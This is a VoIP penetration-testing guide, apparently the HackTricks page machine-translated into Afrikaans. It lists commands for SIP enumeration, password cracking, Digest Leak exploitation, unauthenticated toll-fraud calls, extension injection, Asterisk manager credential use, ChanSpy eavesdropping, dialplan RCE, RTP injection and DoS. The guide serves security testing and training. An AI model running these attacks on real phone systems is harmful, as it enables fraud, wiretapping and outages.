Pentesting VoIP

Support HackTricks

VoIP Basiese Inligting

Om te begin leer oor hoe VoIP werk, kyk:

Basic VoIP Protocols

Basiese Boodskappe

Request name	Description								RFC references
------------------------------------------------------------------------------------------------------
REGISTER	Register a SIP user.							RFC 3261
INVITE		Initiate a dialog for establishing a call. 				RFC 3261
ACK		Confirm that an entity has received.					RFC 3261
BYE		Signal termination of a dialog and end a call.				RFC 3261
CANCEL		Cancel any pending request.						RFC 3261
UPDATE		Modify the state of a session without changing the state of the dialog.	RFC 3311
REFER		Ask recipient to issue a request for the purpose of call transfer.	RFC 3515
PRACK		Provisional acknowledgement.						RFC 3262
SUBSCRIBE	Initiates a subscription for notification of events from a notifier.	RFC 6665
NOTIFY		Inform a subscriber of notifications of a new event.			RFC 6665
PUBLISH		Publish an event to a notification server.				RFC 3903
MESSAGE		Deliver a text message.	Used in instant messaging applications.		RFC 3428
INFO		Send mid-session information that does not modify the session state.	RFC 6086
OPTIONS		Query the capabilities of an endpoint					RFC 3261

Response Codes

1xx—Voorlopige Antwoorde

100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated

2xx—Suksesvolle Antwoorde

200 OK
202 Accepted
204 No Notification

3xx—Herleidings Antwoorde

300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service

4xx—Kliënt Fout Antwoorde

400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required

5xx—Bediener Fout Antwoorde

500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure

6xx—Globale Faal Antwoorde

600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected

VoIP Enumerasie

Telefoonnommers

Een van die eerste stappe wat 'n Rooi Span kan doen, is om beskikbare telefoonnommers te soek om met die maatskappy te kontak deur OSINT-gereedskap, Google-soektogte of deur webbladsye te scrape.

Sodra jy die telefoonnommers het, kan jy aanlyn dienste gebruik om die operateur te identifiseer:

Om te weet of die operateur VoIP-dienste bied, kan jy identifiseer of die maatskappy VoIP gebruik... Boonop is dit moontlik dat die maatskappy nie VoIP-dienste gehuur het nie, maar PSTN-kaarte gebruik om sy eie VoIP PBX aan die tradisionele telekommunikasienetwerk te koppel.

Dinge soos outomatiese musiekresponsies dui gewoonlik aan dat VoIP gebruik word.

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT inligting

Enige ander OSINT-opsomming wat help om VoIP-sagteware te identifiseer wat gebruik word, sal nuttig wees vir 'n Red Team.

Netwerk Opsomming

  • nmap is in staat om UDP-dienste te skandeer, maar as gevolg van die aantal UDP-dienste wat geskandeer word, is dit baie stadig en mag nie baie akkuraat wees met hierdie soort dienste nie.

sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
  • svmap van SIPVicious (sudo apt install sipvicious): Sal SIP-dienste in die aangeduide netwerk lokaliseer.

  • svmap is maklik om te blokkeer omdat dit die User-Agent friendly-scanner gebruik, maar jy kan die kode van /usr/share/sipvicious/sipvicious aanpas en dit verander.

# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • SIPPTS scan from sippts: SIPPTS scan is 'n baie vinnige skandeerder vir SIP-dienste oor UDP, TCP of TLS. Dit gebruik multithreading en kan groot reekse van netwerke skandeer. Dit laat jou toe om maklik 'n poortreeks aan te dui, beide TCP en UDP te skandeer, 'n ander metode te gebruik (standaard sal dit OPTIONS gebruik) en 'n ander User-Agent te spesifiseer (en meer).

sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit:

auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Ekstra Netwerk Enumerasie

Die PBX kan ook ander netwerkdienste blootstel soos:

  • 69/UDP (TFTP): Firmware-opdaterings

  • 80 (HTTP) / 443 (HTTPS): Om die toestel vanaf die web te bestuur

  • 389 (LDAP): Alternatief om die gebruikersinligting te stoor

  • 3306 (MySQL): MySQL-databasis

  • 5038 (Manager): Laat toe om Asterisk vanaf ander platforms te gebruik

  • 5222 (XMPP): Berigte met behulp van Jabber

  • 5432 (PostgreSQL): PostgreSQL-databasis

  • En ander...

Metodes Enumerasie

Dit is moontlik om watter metodes beskikbaar is om in die PBX te gebruik deur SIPPTS enumerate van sippts te gebruik.

sippts enumerate -i 10.10.0.10

Analiseer bediener antwoorde

Dit is baie belangrik om die koptekste wat 'n bediener aan ons terugstuur, te analiseer, afhangende van die tipe boodskap en koptekste wat ons stuur. Met SIPPTS send van sippts kan ons persoonlike boodskappe stuur, alle koptekste manipuleer, en die antwoord analiseer.

sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp

Dit is ook moontlik om data te verkry as die bediener websockets gebruik. Met SIPPTS wssend van sippts kan ons persoonlike WS-boodskappe stuur.

sippts wssend -i 10.10.0.10 -r 443 -path /ws

Extension Enumeration

Extensions in a PBX (Private Branch Exchange) system verwys na die unieke interne identifiseerders wat aan individuele telefoonlyne, toestelle, of gebruikers binne 'n organisasie of besigheid toegeken word. Extensions maak dit moontlik om oproepen binne die organisasie doeltreffend te roete, sonder die behoefte aan individuele eksterne telefoonnommers vir elke gebruiker of toestel.

  • svwar van SIPVicious (sudo apt install sipvicious): svwar is 'n gratis SIP PBX extensie lyn skandeerder. In konsep werk dit soortgelyk aan tradisionele wardialers deur 'n reeks extensies of 'n gegewe lys van extensies te raai.

svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • SIPPTS exten van sippts: SIPPTS exten identifiseer uitbreidings op 'n SIP-bediener. Sipexten kan groot netwerke en poortreekse nagaan.

sippts exten -i 10.10.0.10 -r 5060 -e 100-200
  • metasploit: Jy kan ook uitbreidings/gebruikersname met metasploit opnoem.

auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX is 'n Inter Asterisk Exchange-protokol gebruikersnaam brute-force enumerator. enumIAX kan in twee verskillende modi werk; Volgorde Gebruikersnaam Raai of Woordeboekaanval.

enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

VoIP-aanvalle

Wagwoord Brute-Force - aanlyn

Nadat die PBX en sommige uitbreidings/gebruikersname ontdek is, kan 'n Rooi Span probeer om te authentiseer via die REGISTER metode na 'n uitbreiding deur 'n woordelys van algemene wagwoorde te gebruik om die authentisering te brute-force.

Let daarop dat 'n gebruikersnaam dieselfde kan wees as die uitbreiding, maar hierdie praktyk kan verskil, afhangende van die PBX-stelsel, sy konfigurasie, en die organisasie se voorkeure...

As die gebruikersnaam nie dieselfde is as die uitbreiding nie, sal jy moet uitvind wat die gebruikersnaam is om dit te brute-force.

  • svcrack van SIPVicious (sudo apt install sipvicious): SVCrack laat jou toe om die wagwoord vir 'n spesifieke gebruikersnaam/uitbreiding op 'n PBX te kraak.

svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • SIPPTS rcrack from sippts: SIPPTS rcrack is 'n afstand wagwoord kraker vir SIP dienste. Rcrack kan wagwoorde toets vir verskeie gebruikers in verskillende IP's en poortreekse.

sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

VoIP Sniffing

As jy VoIP-toerusting binne 'n Open Wifi-netwerk vind, kan jy alle inligting snuffel. Boonop, as jy binne 'n meer geslote netwerk is (verbonden via Ethernet of beskermde Wifi) kan jy MitM-aanvalle soos ARPspoofing tussen die PBX en die gateway uitvoer om die inligting te snuffel.

Tussen die netwerk-inligting kan jy web geloofsbriewe vind om die toerusting te bestuur, gebruiker uitbreidings, gebruikersnaam, IP adresse, selfs gehashede wagwoorde en RTP-pakkette wat jy kan herproduseer om die gesprek te hoor, en meer.

Om hierdie inligting te verkry kan jy gereedskap soos Wireshark, tcpdump... gebruik, maar 'n spesiaal geskepte gereedskap om VoIP-gesprekke te snuffel is ucsniff.

Let daarop dat as TLS in die SIP kommunikasie gebruik word jy nie die SIP kommunikasie in duidelike teks sal kan sien. Dieselfde sal gebeur as SRTP en ZRTP gebruik word, RTP-pakkette sal nie in duidelike teks wees.

SIP geloofsbriewe (Wagwoord Brute-Force - aflyn)

Kontroleer hierdie voorbeeld om beter te verstaan hoe 'n SIP REGISTER kommunikasie werk om te leer hoe geloofsbriewe gestuur word.

  • sipdump & sipcrack, deel van sipcrack (apt-get install sipcrack): Hierdie gereedskap kan uittrek uit 'n pcap die digest-authentikasies binne die SIP-protokol en bruteforce hulle.

sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • SIPPTS dump van sippts: SIPPTS dump kan digest-authentikasies uit 'n pcap-lêer onttrek.

sippts dump -f capture.pcap -o data.txt
  • SIPPTS dcrack from sippts: SIPPTS dcrack is 'n hulpmiddel om die digest-outentifikasies wat met SIPPTS dump verkry is, te kraak.

sippts dcrack -f data.txt -w wordlist/rockyou.txt
  • SIPPTS tshark from sippts: SIPPTS tshark onttrek data van die SIP-protokol uit 'n PCAP-lêer.

sippts tshark -f capture.pcap [-filter auth]

DTMF kodes

Nie net SIP geloofsbriewe kan in die netwerkverkeer gevind word nie, dit is ook moontlik om DTMF kodes te vind wat gebruik word om byvoorbeeld toegang tot die stempos te verkry. Dit is moontlik om hierdie kodes in INFO SIP boodskappe, in klank of binne RTP pakkette te stuur. As die kodes binne RTP pakkette is, kan jy daardie deel van die gesprek sny en die hulpmiddel multimo gebruik om hulle te onttrek:

multimon -a DTMF -t wac pin.wav

Gratis oproepe / Asterisks Verbinding Misconfigurasies

In Asterisk is dit moontlik om 'n verbinding van 'n spesifieke IP-adres of van enige IP-adres toe te laat:

host=10.10.10.10
host=dynamic

As 'n IP-adres gespesifiseer word, sal die host nie REGISTER versoeke elke nou en dan hoef te stuur nie (in die REGISTER-pakket word die tyd om te lewe gestuur, gewoonlik 30min, wat beteken dat die telefoon in 'n ander scenario elke 30min moet REGISTER). Dit sal egter oop poorte moet hê wat verbindings van die VoIP-bediener toelaat om oproepe te ontvang.

Om gebruikers te definieer, kan hulle as volg gedefinieer word:

  • type=user: Die gebruiker kan slegs oproepe as gebruiker ontvang.

  • type=friend: Dit is moontlik om oproepe as peer te maak en dit as gebruiker te ontvang (gebruik met uitbreidings)

  • type=peer: Dit is moontlik om oproepe as peer te stuur en te ontvang (SIP-trunks)

Dit is ook moontlik om vertroue te vestig met die onveilige veranderlike:

  • insecure=port: Laat peer verbindings wat deur IP geverifieer word toe.

  • insecure=invite: Vereis nie verifikasie vir INVITE-boodskappe nie

  • insecure=port,invite: Albei

Wanneer type=friend gebruik word, sal die waarde van die host veranderlike nie gebruik word nie, so as 'n admin 'n SIP-trunk verkeerd konfigureer met daardie waarde, sal enige iemand in staat wees om daartoe te verbind.

Byvoorbeeld, hierdie konfigurasie sal kwesbaar wees: host=10.10.10.10 insecure=port,invite type=friend

Gratis Oproepe / Asterisks Konteks Misconfigurasies

In Asterisk is 'n konteks 'n benoemde houer of afdeling in die kiesplan wat verwante uitbreidings, aksies en reëls groepeer. Die kiesplan is die kernkomponent van 'n Asterisk-stelsel, aangesien dit definieer hoe inkomende en uitgaande oproepe hanteer en gerouteer word. Konteks word gebruik om die kiesplan te organiseer, toegangbeheer te bestuur, en skeiding tussen verskillende dele van die stelsel te bied.

Elke konteks word in die konfigurasie-lêer gedefinieer, tipies in die extensions.conf lêer. Konteks word aangedui deur vierkantige hakies, met die konteksnaam binne-in. Byvoorbeeld:

csharpCopy code[my_context]

Binnen die konteks definieer jy uitbreidings (patrone van gedialde nommers) en assosieer dit met 'n reeks aksies of toepassings. Hierdie aksies bepaal hoe die oproep verwerk word. Byvoorbeeld:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

Hierdie voorbeeld demonstreer 'n eenvoudige konteks genoem "my_context" met 'n uitbreiding "100". Wanneer iemand 100 kies, sal die oproep beantwoord word, 'n welkomstekst sal gespeel word, en dan sal die oproep beëindig word.

Dit is nog 'n konteks wat toelaat om na enige ander nommer te bel:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

As die admin die default context definieer as:

[default]
include => my_context
include => external

Enige iemand sal in staat wees om die bediener te gebruik om na enige ander nommer te bel (en die admin van die bediener sal vir die oproep betaal).

Boonop bevat die sip.conf lêer standaard allowguest=true, dan sal enige aanvaller met geen outentisering in staat wees om na enige ander nommer te bel.

  • SIPPTS invite van sippts: SIPPTS invite kontroleer of 'n PBX bediener ons toelaat om oproepe te maak sonder outentisering. As die SIP bediener 'n onakkurate konfigurasie het, sal dit ons toelaat om oproepe na eksterne nommers te maak. Dit kan ook toelaat dat ons die oproep na 'n tweede eksterne nommer oorplaas.

Byvoorbeeld, as jou Asterisk bediener 'n slegte kontekskonfigurasie het, kan jy INVITE versoek aanvaar sonder outorisasie. In hierdie geval kan 'n aanvaller oproepe maak sonder om enige gebruiker/wagwoord te ken.

# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444

Gratis oproepe / Foutief geconfigureerde IVRS

IVRS staan vir Interaktiewe Stem Respons Stelsel, 'n telekommunikasietegnologie wat gebruikers toelaat om met 'n gekompliseerde stelsel te kommunikeer deur middel van stem of toetsingangs. IVRS word gebruik om geoutomatiseerde oproep hantering stelsels te bou wat 'n reeks funksies bied, soos om inligting te verskaf, oproepe te roete, en gebruikersinvoer te vang.

IVRS in VoIP stelsels bestaan tipies uit:

  1. Stem aanwysings: Vooraf opgeneemde klankboodskappe wat gebruikers deur die IVR-menu opsies en instruksies lei.

  2. DTMF (Dubbele Toon Multi-Frekwensie) sein: Toetsingangs wat gegenereer word deur sleutels op die telefoon te druk, wat gebruik word om deur die IVR-menu's te navigeer en invoer te verskaf.

  3. Oproep roetering: Oproepe na die toepaslike bestemming lei, soos spesifieke departemente, agente, of uitbreidings gebaseer op gebruikersinvoer.

  4. Gebruikersinvoer vang: Inligting van belers versamel, soos rekeningnommers, saak-ID's, of enige ander relevante data.

  5. Integrasie met eksterne stelsels: Die IVR-stelsel aan databasisse of ander sagteware stelsels koppel om toegang tot of inligting op te dateer, aksies uit te voer, of gebeurtenisse te aktiveer.

In 'n Asterisk VoIP-stelsel kan jy 'n IVR skep met die kiesplan (extensions.conf lêer) en verskeie toepassings soos Background(), Playback(), Read(), en meer. Hierdie toepassings help jou om stem aanwysings te speel, gebruikersinvoer te vang, en die oproepvloei te beheer.

Voorbeeld van kwesbare konfigurasie

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

Die vorige is 'n voorbeeld waar die gebruiker gevra word om 1 te druk om 'n departement te bel, 2 om 'n ander te bel, of die volledige uitbreiding as hy dit weet. Die kwesbaarheid is die feit dat die aangeduide uitbreiding lengte nie nagegaan word nie, so 'n gebruiker kan die 5 sekondes tydsduur 'n volledige nommer invoer en dit sal gebel word.

Uitbreiding Inspuiting

Gebruik 'n uitbreiding soos:

exten => _X.,1,Dial(SIP/${EXTEN})

Waar ${EXTEN} die verlenging is wat gebel sal word, wanneer die ext 101 bekendgestel word sal dit gebeur:

exten => 101,1,Dial(SIP/101)

However, if ${EXTEN} allows to introduce more than numbers (like in older Asterisk versions), an attacker could introduce 101&SIP123123123 to call the phone number 123123123. And this would be the result:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Daarom sal 'n oproep na die uitbreiding 101 en 123123123 gestuur word en slegs die eerste een wat die oproep ontvang, sal gevestig word... maar as 'n aanvaller 'n uitbreiding gebruik wat enige ooreenkoms omseil wat uitgevoer word maar nie bestaan nie, kan hy slegs 'n oproep na die gewenste nommer inspuit.

SIPDigestLeak kwesbaarheid

Die SIP Digest Leak is 'n kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed, insluitend beide hardeware en sagteware IP Telefone sowel as telefoonadapters (VoIP na analoog). Die kwesbaarheid laat lek van die Digest-authentikasie antwoord toe, wat bereken word vanaf die wagwoord. 'n Aflyn wagwoordaanval is dan moontlik en kan die meeste wagwoorde op grond van die uitdaging antwoord herstel.

**Kwetsbaarheid scenario van hier**:

  1. 'n IP Telefoon (slagoffer) luister op enige poort (byvoorbeeld: 5060), wat telefoonoproepe aanvaar

  2. Die aanvaller stuur 'n INVITE na die IP Telefoon

  3. Die slagoffer telefoon begin lui en iemand neem op en hang op (omdat niemand die telefoon aan die ander kant antwoord nie)

  4. Wanneer die telefoon opgehang word, stuur die slagoffer telefoon 'n BYE na die aanvaller

  5. Die aanvaller gee 'n 407 antwoord wat om authentikasie vra en 'n authentikasie uitdaging uitreik

  6. Die slagoffer telefoon bied 'n antwoord op die authentikasie uitdaging in 'n tweede BYE

  7. Die aanvaller kan dan 'n brute-force aanval uitvoer op die uitdaging antwoord op sy plaaslike masjien (of verspreide netwerk ens.) en die wagwoord raai

  • SIPPTS lek van sippts: SIPPTS lek benut die SIP Digest Leak kwesbaarheid wat 'n groot aantal SIP Telefone beïnvloed. Die uitvoer kan in SipCrack-formaat gestoor word om dit te bruteforce met SIPPTS dcrack of die SipCrack hulpmiddel.

sippts leak -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Call laat 'n webgebruiker (wat byvoorbeeld dalk in 'n produk belangstel) toe om sy telefoonnommer in te voer om gebel te word. Dan sal 'n kommersiële oproep gemaak word, en wanneer hy die telefoon opneem sal die gebruiker gebel en met die agent verbind word.

'n Algemene Asterisk-profiel hiervoor is:

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • Die vorige profiel laat ENIGE IP adres toe om te verbind (as die wagwoord bekend is).

  • Om 'n oproep te organiseer, soos voorheen gespesifiseer, is geen leesregte nodig nie en slegs oorsprong in skryf is nodig.

Met daardie regte kan enige IP wat die wagwoord ken verbind en te veel inligting onttrek, soos:

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

Meer inligting of aksies kan aangevra word.

Afluister

In Asterisk is dit moontlik om die opdrag ChanSpy te gebruik wat die verlenging(e) om te monitor (of al die verlengings) aandui om gesprekke te hoor wat plaasvind. Hierdie opdrag moet aan 'n verlenging toegeken word.

Byvoorbeeld, exten => 333,1,ChanSpy('all',qb) dui aan dat as jy die verlenging 333 bel, dit alle verlengings sal monitor, begin luister wanneer 'n nuwe gesprek begin (b) in stilmodus (q) aangesien ons nie wil interaksie hê nie. Jy kan van een gesprek na 'n ander beweeg deur * te druk, of deur die verlenging nommer te merk.

Dit is ook moontlik om ExtenSpy te gebruik om slegs een verlenging te monitor.

In plaas daarvan om die gesprekke te luister, is dit moontlik om hulle in lêers op te neem deur 'n verlenging soos:

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

Telefons is in /tmp gestoor.

Jy kan ook Asterisk 'n skrip laat uitvoer wat die oproep sal lek wanneer dit gesluit word.

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed kwesbaarheid

RTCPBleed is 'n groot sekuriteitskwessie wat Asterisk-gebaseerde VoIP-bedieners raak (gepubliseer in 2017). Die kwesbaarheid laat RTP (Real Time Protocol) verkeer, wat VoIP-gesprekke dra, toe om deur enige iemand op die Internet geïntercepteer en hergerig te word. Dit gebeur omdat RTP-verkeer outentisering omseil wanneer dit deur NAT (Network Address Translation) vuurmure navigeer.

RTP-proxies probeer om NAT-beperkings wat RTC-stelsels beïnvloed, aan te spreek deur RTP-strome tussen twee of meer partye te proxy. Wanneer NAT in plek is, kan die RTP-proxy sagteware dikwels nie staatmaak op die RTP IP- en poortinligting wat deur signalering (bv. SIP) verkry is nie. Daarom het 'n aantal RTP-proxies 'n mekanisme geïmplementeer waar sulke IP- en poortkombinasies outomaties geleer word. Dit word dikwels gedoen deur inkomende RTP-verkeer te inspekteer en die bron-IP en poort vir enige inkomende RTP-verkeer te merk as die een wat op geantwoord moet word. Hierdie mekanisme, wat "leer-modus" genoem kan word, maak nie gebruik van enige vorm van outentisering nie. Daarom kan aanvallers RTP-verkeer na die RTP-proxy stuur en die geproksiede RTP-verkeer ontvang wat bedoel is vir die beler of ontvanger van 'n aanhoudende RTP-stroom. Ons noem hierdie kwesbaarheid RTP Bleed omdat dit aanvallers toelaat om RTP-media strome te ontvang wat bedoel is om aan wettige gebruikers gestuur te word.

'n Ander interessante gedrag van RTP-proxies en RTP-stakke is dat hulle soms, selfs al is hulle nie kwesbaar vir RTP Bleed nie, RTP-pakkette van enige bron sal aanvaar, deurstuur en/of verwerk. Daarom kan aanvallers RTP-pakkette stuur wat hulle mag toelaat om hul media in plaas van die wettige een in te spuit. Ons noem hierdie aanval RTP-inspuiting omdat dit die inspuiting van onwettige RTP-pakkette in bestaande RTP-strome toelaat. Hierdie kwesbaarheid kan in beide RTP-proxies en eindpunte gevind word.

Asterisk en FreePBX het tradisioneel die NAT=yes instelling gebruik, wat RTP-verkeer toelaat om outentisering te omseil, wat moontlik lei tot geen klank of eenrigting-klank op oproepe nie.

Vir meer inligting, kyk na https://www.rtpbleed.com/

  • SIPPTS rtpbleed van sippts: SIPPTS rtpbleed detecteer die RTP Bleed kwesbaarheid deur RTP-strome te stuur.

sippts rtpbleed -i 10.10.0.10
  • SIPPTS rtcpbleed from sippts: SIPPTS rtcpbleed detecteer die RTP Bleed kwesbaarheid deur RTCP-strome te stuur.

sippts rtcpbleed -i 10.10.0.10
  • SIPPTS rtpbleedflood from sippts: SIPPTS rtpbleedflood benut die RTP Bleed kwesbaarheid deur RTP strome te stuur.

sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
  • SIPPTS rtpbleedinject from sippts: SIPPTS rtpbleedinject benut die RTP Bleed kwesbaarheid deur 'n klanklêer (WAV-formaat) in te spuit.

sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav

RCE

In Asterisk slaag jy op een of ander manier daarin om uitbreidingsreëls by te voeg en dit te herlaai (byvoorbeeld deur 'n kwesbare webbestuurder bediener te kompromitteer), dit is moontlik om RCE te verkry met behulp van die System opdrag.

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

There is command called Shell that could be used instead of System to execute system commands if necessary.

As die bediener die gebruik van sekere karakters in die System opdrag (soos in Elastix) verbied, kyk of die webbediener toelaat om lêers op een of ander manier binne die stelsel te skep (soos in Elastix of trixbox), en gebruik dit om 'n backdoor-skrip te skep en gebruik dan System om daardie skrip te voer.

Interessante plaaslike lêers en toestemmings

  • sip.conf -> Bevat die wagwoord van SIP gebruikers.

  • As die Asterisk bediener as root loop, kan jy root in gevaar stel.

  • mysql root gebruiker mag geen wagwoord hê nie.

  • dit kan gebruik word om 'n nuwe mysql gebruiker as backdoor te skep.

  • FreePBX

  • amportal.conf -> Bevat die wagwoord van die webpaneel administrateur (FreePBX).

  • FreePBX.conf -> Bevat die wagwoord van die gebruiker FreePBXuser wat gebruik word om toegang tot die databasis te verkry.

  • dit kan gebruik word om 'n nuwe mysql gebruiker as backdoor te skep.

  • Elastix

  • Elastix.conf -> Bevat verskeie wagwoorde in duidelike teks soos mysql root wagwoord, IMAPd wagwoord, web admin wagwoord.

  • Verskeie vouers sal aan die gecompromitteerde asterisk gebruiker behoort (as dit nie as root loop nie). Hierdie gebruiker kan die vorige lêers lees en beheer ook die konfigurasie, so hy kan Asterisk laat laai ander backdoored binaries wanneer dit uitgevoer word.

RTP Inspuiting

Dit is moontlik om 'n .wav in gesprekke in te voeg met behulp van gereedskap soos rtpinsertsound (sudo apt install rtpinsertsound) en rtpmixsound (sudo apt install rtpmixsound).

Of jy kan die skripte van http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ gebruik om gesprekke te skandeer (rtpscan.pl), 'n .wav na 'n gesprek te stuur (rtpsend.pl) en ruis in 'n gesprek in te voeg (rtpflood.pl).

DoS

Daar is verskeie maniere om te probeer om DoS in VoIP bedieners te bereik.

  • SIPPTS flood van sippts**: SIPPTS flood stuur onbeperkte boodskappe na die teiken.

  • sippts flood -i 10.10.0.10 -m invite -v

  • SIPPTS ping van sippts**: SIPPTS ping maak 'n SIP ping om die bediener se reaksietyd te sien.

  • sippts ping -i 10.10.0.10

  • IAXFlooder: DoS IAX protokol wat deur Asterisk gebruik word.

  • inviteflood: 'n Gereedskap om SIP/SDP INVITE boodskap flooding oor UDP/IP uit te voer.

  • rtpflood: Stuur verskeie goed gevormde RTP-pakkette. Dit is nodig om die RTP-poorte wat gebruik word te ken (sniff eers).

  • SIPp: Laat jou toe om SIP-verkeer te analiseer en te genereer, so dit kan ook gebruik word om DoS te doen.

  • SIPsak: SIP switserse lewensreddingsboei. Kan ook gebruik word om SIP-aanvalle uit te voer.

  • Fuzzers: protos-sip, voiper.

OS Kw vulnerabilities

Die maklikste manier om 'n sagteware soos Asterisk te installeer, is om 'n OS verspreiding af te laai wat dit reeds geïnstalleer het, soos: FreePBX, Elastix, Trixbox... Die probleem met hierdie is dat sodra dit werk, mag stelselsadministrateurs dit nie weer opdateer nie en kw vulnerabilities sal met tyd ontdek word.

Verwysings

Support HackTricks

Last updated